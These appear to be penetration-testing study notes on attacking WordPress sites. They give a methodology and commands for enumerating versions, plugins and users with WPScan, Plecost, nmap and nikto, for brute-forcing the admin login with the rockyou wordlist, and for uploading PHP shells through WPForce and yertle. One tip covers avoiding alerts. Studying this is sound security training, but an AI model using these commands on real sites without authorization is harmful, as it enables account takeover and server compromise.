WordPress

Challenges

to be solved ... isa

Notes

Methodology:

1. Identify CMS, and version.
2. Enumerate Plugins, extensions and other components.
3. Identify Vulnerabilities in CMS, its components and potential web server misconfigurations.
4. Enumerate Users of the application.
5. Brute Force Attack against Administrative or User Interface.

WordPress

based on PHP
backend database is commonly MySQL
uses range from simple blogs

Information Gathering:

WPScan :
Get from : https://github.com/wpscanteam/wpscan

WPScan enumerates:

- WordPress Version
- PHP Version
- Users of the application
- Installed Plugins and Versions
- Vulnerabilities related to WordPress and installed Plugins
- Additional Content (robots.txt, interesting headers, etc.)
- Conduct Bruteforce dictionary attacks against a WordPress login page

Commands:
wpscan --url http://target.site --> non-intrusive scan
wpscan --url http://target.site **--enumerate u** --> enumerate users
wpscan --update --> update signature database
wpscan --url http://target.site **--enumerate p** --> enumerate plugins
wpscan --url http://target.site **--wordlist** /usr/share/wordlists/rockyou.txt **--username** admin --> Bruteforce

Plecost : tool for enumerating plugins
Get from : https://github.com/iniqua/plecost
plecost -i /usr/share/plecost/wp_plugin_list.txt http://fooblog.site

Using **Nmap** :
nmap --script http-wordpress-enum fooblog.site

Check file indexing

browse to the "/wp-content/" folder
plugins, can be usually found within the "/wp-content/plugins"
look for "changelog.txt" or "readme.txt"

can be checked fast with nikto
nikto -host http://fooblog.site/wp-content

also wp scan will show if it is there

Note :
Nikto or WPScan with default configurations to confirm Directory Indexing --> generally noisy and generate alerts, so opt for manual identification of misconfigurations where possible

default administrator user is "admin"

wpbf: bruteforce WordPress login
Get from : https://github.com/atarantini/wpbf
python wpbf.py -w passwords.txt -u admin http://target.com

WPForce:
Get from : https://github.com/n00py/WPForce
uploads PHP shells to a WordPress installation. --> bruteforce administrator credentials --> upload its own built-in shells -->simple command shell on the target web server.
python wpforce.py -i users.txt -w /usr/share/wordlists/passwords.txt -u http://fooblog.site
python yertle.py -u admin -p password1 -t http://fooblog.site --interactive